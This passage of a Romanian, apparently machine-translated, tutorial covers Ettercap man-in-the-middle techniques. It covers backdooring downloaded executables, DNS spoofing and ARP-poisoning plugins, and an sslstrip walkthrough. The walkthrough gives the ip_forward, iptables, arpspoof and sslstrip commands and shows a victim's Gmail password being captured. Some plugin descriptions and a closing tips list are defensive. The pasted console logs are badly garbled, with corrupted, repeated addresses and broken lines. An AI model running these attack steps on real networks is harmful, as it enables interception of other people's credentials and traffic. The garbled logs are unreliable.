Grozav, când deschideți orice site web care nu are HTTPS, codul JavaScript este inserat în codul HTML, ceea ce vă permite să colectați informații printr-un browser conectat și să efectuați diverse atacuri:

6. Infecția cu ușile din spate

Puteți înlocui și infecta fișierele executabile folosind atât filtrele Ettercap [care din anumite motive nu mai funcționează] cât și folosind aplicații terțe. De exemplu, BDFProxy poate face acest lucru din mers. Din nefericire, BDFProxy este încă răvășit de actualizarea Backdoor Factory din aprilie 2016: pachetul libmproxy a fost redenumit mitmproxy în Python. Pentru BDFProxy, pachetul libmproxy este o dependență necesară fără acest pachet, programul nu va porni. Prin urmare, acum, înainte de „repararea” BDFProxy, este imposibil să îl utilizați, deoarece chiar și cu Backdoor Factory instalat, programul BDFProxy se plânge de absența bibliotecii libmproxy...

O operațiune similară se poate face cu Burp Suite. Algoritmul pas cu pas este prezentat, nu are sens să-l rescrieți din nou în această secțiune.

7. Utilizarea pluginurilor Ettercap

Puteți găsi informații despre pluginurile Ettercap. Sunt destul de multe pluginuri cele descrise mai jos mi se par cele mai interesante.

Pluginurile pot fi conectate la lansarea Ettercap, există o opțiune pentru aceasta:

P, --plugin rulează acest lucru

Pluginurile pot fi încărcate și din GUI:

[MATERIAL ÎN PREGĂTIRE]

7.1 arp_cop

Raportează activitatea ARP suspectă prin monitorizarea pasivă a cererilor/răspunsurilor ARP. Poate raporta încercări de otrăvire ARP sau simple conflicte IP sau modificări IP. Dacă construiți o listă inițială de gazde, pluginul va funcționa mai precis.

Ettercap -TQP arp_cop //

Un exemplu de detectare reală a falsificării ARP:

Extinde

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // parola pentru mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Ascultare pe: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 Disecția SSL necesită un script valid „redir_command_on” în fișierul etter.conf Privilegii scăzute la EUID 65534 EGID 65534... 33 plugin-uri de monitorizare a protocolului 420 plugin-uri de monitorizare de porturi 420 mac amprenta furnizorului 1766 amprenta sistemului de operare tcp 2182 servicii cunoscute Randomizarea 255 de gazde pentru scanare... Scanarea întregii mască de rețea pentru 255 de gazde... * |====== =============== =============================>

Mial@HackWare-Mint ~ $ sudo ettercap -TQP arp_cop // parola pentru mial: ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Ascultare pe: eth0 -> 08:00:27:A3:08:4A 192.168.1.36/ 255.255.255.0 fe80::a00:27ff:fea3:84a/64 Disecția SSL necesită un script valid „redir_command_on” în fișierul etter.conf Privilegii scăzute la EUID 65534 EGID 65534... 33 plugin-uri de monitorizare a protocolului 420 plugin-uri de monitorizare de porturi 420 mac amprenta furnizorului 1766 amprenta sistemului de operare tcp 2182 servicii cunoscute Randomizarea 255 de gazde pentru scanare... Scanarea întregii mască de rețea pentru 255 de gazde... * |====== =============== =============================>| 100,00 % 3 gazde adăugate la lista de gazde... Se pornește sniffing unificat... Numai text Interfață activată... Apăsați „h” pentru ajutor inline. Activarea pluginului arp_cop... arp_cop: pluginul rulează... arp_cop: (gazdă nouă ) 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface că este 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface că este 192.168.1.1 arp_cop:192.1.35 192.168.1.1 arp_cop: (AVERTISMENT ) 192.168.1.35 pretinde a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 a fi 192.168.1.35.1.1.35.1.192 2.168.1.35 se preface a fi 192.168 . 1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface că este 192.168.1.1 arp_cop: (AVERTISMENT) .1 arp_cop: (AVERTISMENT) 192.168 .1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.35 192.168.1.2. 1.35 se preface a fi 192.168. 1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 1 arp_cop: (AVERTISMENT) 192.168. 1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.29.1.2 5) se preface a fi 192.168.1.1 arp_cop : (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.168.1.1592.168.1 ARNING) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 a fi 192.168.1.1 a fi 192.168.1.1 92. 168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface că este 192.168.1.1 arp_cop: (1.92.3.16) 192.168.1.35 .1 arp_cop: (AVERTISMENT ) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 a fi 192.168.1.35.1.35.1.192p. 192.168.1.35 se preface a fi 192.168 1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (ATENȚIE) 192.168.1.35 .1.1 arp_cop: (AVERTISMENT) 192.168 . 1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.1 arp_cop: (AVERTISMENT) 192.168.1.35 se preface a fi 192.168.1.35 (arp_cop) 192.168.1.19. .1.35 se preface a fi 192.168.1.1 . ..........................

7.2 adăugare automată

Va adăuga automat noi victime pe măsură ce se conectează la atacul de otrăvire ARP mitm. Acesta caută cereri ARP în rețeaua locală și, dacă este detectat, pluginul va adăuga gazda la lista de victime dacă lista a fost specificată ca ȚINTĂ. O gazdă este adăugată atunci când o solicitare arp este vizibilă din ea.

7.3 chk_poison

Verifică dacă modulele arp etch din ettercap au succes. Trimite pachete de eco ICMP falsificate tuturor victimelor momeli, pretinzând că sunt fiecare victimă. Poate prinde un răspuns ICMP cu adresa noastră MAC ca destinație, ceea ce înseamnă că momeala între cele două ținte are succes. Verifică ambele căi ale fiecărei conexiuni.

7.4 dns_spoof

Acest plugin întrerupe solicitările DNS și răspunde cu un răspuns falsificat (fals). Puteți alege la ce adresă ar trebui să răspundă pluginul prin editarea fișierului etter.dns. Pluginul interceptează cererile A, AAAA, PTR, MX, WINS, SRV și TXT. Dacă a fost o solicitare A, atunci numele este căutat în fișier și adresa IP este returnată (puteți folosi metacaractere în nume).

Același lucru este valabil și pentru cererile AAAA.

7.5 find_conn

Un plugin foarte simplu care ascultă solicitările ARP pentru a vă arăta toate țintele cu care gazda dorește să comunice. De asemenea, vă poate ajuta să găsiți adrese pe rețele LAN necunoscute.

Ettercap -TQzP find_conn ettercap -TQu -i eth0 -P find_conn

7.6 find_ettercap

Încearcă să identifice pachetele ettercap trimise către LAN. Poate fi util pentru a identifica pe cineva care încearcă să folosească ettercap. Nu vă bazați 100% pe el, deoarece testele funcționează numai pe anumite secvențe/numere de identificare.

7.7 scan_poisoner

Vom verifica dacă cineva momează între noi și vreuna dintre gazdele de pe listă. În primul rând, verifică dacă două gazde din listă au aceeași adresă Mac. Acest lucru poate însemna că unul dintre ei ne otrăvește pretinzând că este celălalt. Poate genera multe fals pozitive într-un mediu proxy-arp. Trebuie să construiți o listă de gazde pentru a efectua această verificare. După aceea, trimite pachete de eco icmp către fiecare gazdă din listă și verifică dacă adresa mac a sursei de răspuns este diferită de adresa pe care am stocat-o în lista cu acel IP. Acest lucru ar putea însemna că cineva momează această gazdă pretinzând că are adresa noastră IP și trimițându-ne pachetele interceptate. Nu puteți rula acest test activ în modul neofensiv.

Ettercap -TQP scan_poisoner //

7.8 search_promisc

Încearcă să găsească dacă cineva adulmecă (ascultă) în modul promiscuu. Trimite două solicitări arp diferite formate prost către fiecare țintă din lista de gazde și așteaptă răspunsuri. Dacă răspunsul a venit de la gazda țintă, este mai mult sau mai puțin probabil ca această țintă să aibă placa de rețea în modul promiscuu. Poate genera alarme false. Îl puteți rula fie din linia de comandă, fie din meniul de pluginuri. Deoarece ascultă răspunsurile arp, va fi mai bine dacă nu le utilizați în timp ce trimiteți cereri arp.

Ettercap -TQP search_promisc /192.168.0.1/ ettercap -TQP search_promisc //

Un exemplu de ghicire cu succes a două plăci de rețea în modul promiscuu:

Extinde

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Ascultare pe: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.250:25:5.00 fe:25:5. 27ff:feaf:30b9/64 Disecția SSL necesită un script valid „redir_command_on” în fișierul etter.conf. Este posibil ca Ettercap să nu funcționeze corect. /proc/sys/net/ipv6/conf/eth0/use_tempaddr nu este setat la 0. Privilegiile au scăzut la EUID 65534 EGID 65534... 33 plugin-uri 42 disector de protocol 57 porturi monitorizate 20388 amprenta furnizorului mac 1766 tcp OS2 fingerprint cunoscute : nu au fost specificate scripturi, nu pornesc! Randomizarea a 255 de gazde pentru scanare... Scanarea întregii mască de rețea pentru 255 de gazde... * |============================== ============= =====================>

Root@HackWare:~# ettercap -TQP search_promisc ettercap 0.8.2 copyright 2001-2015 Ettercap Development Team Ascultare pe: eth0 -> 08:00:27:AF:30:B9 192.168.1.35/255.255.250:25:5.00 fe:25:5. 27ff:feaf:30b9/64 Disecția SSL necesită un script valid „redir_command_on” în fișierul etter.conf. Este posibil ca Ettercap să nu funcționeze corect. /proc/sys/net/ipv6/conf/eth0/use_tempaddr nu este setat la 0. Privilegiile au scăzut la EUID 65534 EGID 65534... 33 plugin-uri 42 disector de protocol 57 porturi monitorizate 20388 amprenta furnizorului mac 1766 tcp OS2 fingerprint cunoscute : nu au fost specificate scripturi, nu pornesc! Randomizarea a 255 de gazde pentru scanare... Scanarea întregii mască de rețea pentru 255 de gazde... * |============================== ============= =====================>| 100,00% 5 gazde adăugate la lista de gazde... Se pornește sniffing unificat... Doar text Interfață activată... Apăsați „h” pentru ajutor inline Activarea plugin-ului search_promisc... search_promisc: Căutare NIC-uri promisc... Mai puțin probabil NIC-uri sniffing : - 192.168.1.36 - 192.168.1.34 Cel mai probabil sniffing NIC-uri: - NIMIC Închiderea interfeței text... Încheierea ettercap... Curățare Lua finalizată! Adulmecarea unificată a fost oprită.

7.9 sslstrip

În timpul unui atac SSL mitm, ettercap înlocuiește certificatul SSL real cu al său. Certificatul fals este creat din mers și toate câmpurile sunt completate în conformitate cu certificatul real prezentat de server.

  • (62%)
  • (56.5%)
  • (ALEATOARE - 0,2%)

    • Vă voi arăta și vă voi spune cum să utilizați utilitarul sslstrip pentru a intercepta datele care sunt transmise printr-o conexiune SSL sigură.
    Utilitarul sslstrip din exemplul meu (după ce a efectuat un atac de falsificare ARP asupra victimei) va intercepta solicitarea clientului web al victimei de a stabili o conexiune SSL sigură și va forța să folosească protocolul HTTP nesecurizat. În continuare, voi arunca o privire la ceea ce face victima, fără a fi atent la faptul că citește e-mailurile nu prin HTTPS, ci prin HTTP.

    Veți vedea cât de ușor este să organizați atacuri MITM pe SSL folosind tehnica arp-spoof și programul sslstrip.

    În exemplul meu, victima este o mașină virtuală cu IP 10.10.11.163 (o mașină obișnuită cu Windows), PC-ul de pe care atac este 10.10.11.85 cu Kali OS instalat și cu sslstrip (acest utilitar este preinstalat în pentesting). distribuțiile Kali\BackTrack Linux). Între noi există un gateway cu IP 10.10.11.1.

    1. Când victima merge pe gmail.com, este trimisă la adresa https://gmail.com și este normal. Desigur, nu vedem parolele și login-urile pentru e-mailul victimei în text clar.

    2. Activați rutarea traficului pe computer de la Kali:

    echo "1" > /proc/sys/net/ipv4/ip_forward

    și configurați iptables astfel încât tot traficul http să fie direcționat către portul 81:

    iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 81

    arpspoof -i eth0 -t 10.10.11.163 10.10.11.1

    Acum traficul victimei trece prin mașina mea și (conform regulii mele iptables) este redirecționat către portul 81.

    3. Lansați sslstrip

    sslstrip -a -l 81 -w /root/Desktop/ssllog.txt

    acest lucru va crea un fișier jurnal direct pe desktop și va începe să scrie traficul http interceptat în el (de fapt, HTTPS va fi interceptat, dar va fi eliminat, în general, încep să urmăresc acest fișier pe consolă:

    coada -f /root/Desktop/ssllog.txt

    4. Victima se duce la poștă

    Pentru a citi e-mailurile, victima, ca întotdeauna, intră în MS Explorer (hehe) și intră acolo pe gmail.com. Dar din anumite motive, browserul nu redirecționează victima către https (în bara de adrese http)! Imaginea de mai jos arată ce va vedea victima în ultimul moment înainte de a-i afla parola și autentificarea.

    Victima face clic pe „Autentificare”... iar pe fereastra mea unde era afișat traficul interceptat văd următoarele:

    După cum puteți vedea, parola este 1q2w3e4r5t6y...

    Pentru a evita amenințările asociate cu interceptarea începerii unei conexiuni SSL, trebuie să:
    - nu utilizați gadgeturi în rețele de încredere, chiar dacă este foarte necesar (un răufăcător poate aranja un MITM cu o probabilitate mult mai mare, să zicem, la un aeroport instalând un punct de acces fără fir necinstiți decât prin spargerea rețelei corporative a organizației dvs.) ;
    - criptați e-mailurile cu protocoale de criptare simetrice (scriu și mă gândesc la PGP);
    - platesti un salariu normal adminului ca sa nu aiba dorinta de a-ti spiona angajatii in acest fel;
    - monitorizează tabelul ARP și folosește echipamente/software care monitorizează astfel de atacuri;
    - actualizați periodic software-ul din surse legale de încredere.

    Vă rugăm să rețineți că acest articol ilustrează ceea ce este interzis de lege, iar exemplele oferite sunt menite să arate cât de ușor este să lansați atacuri SSL doar în scopuri educaționale.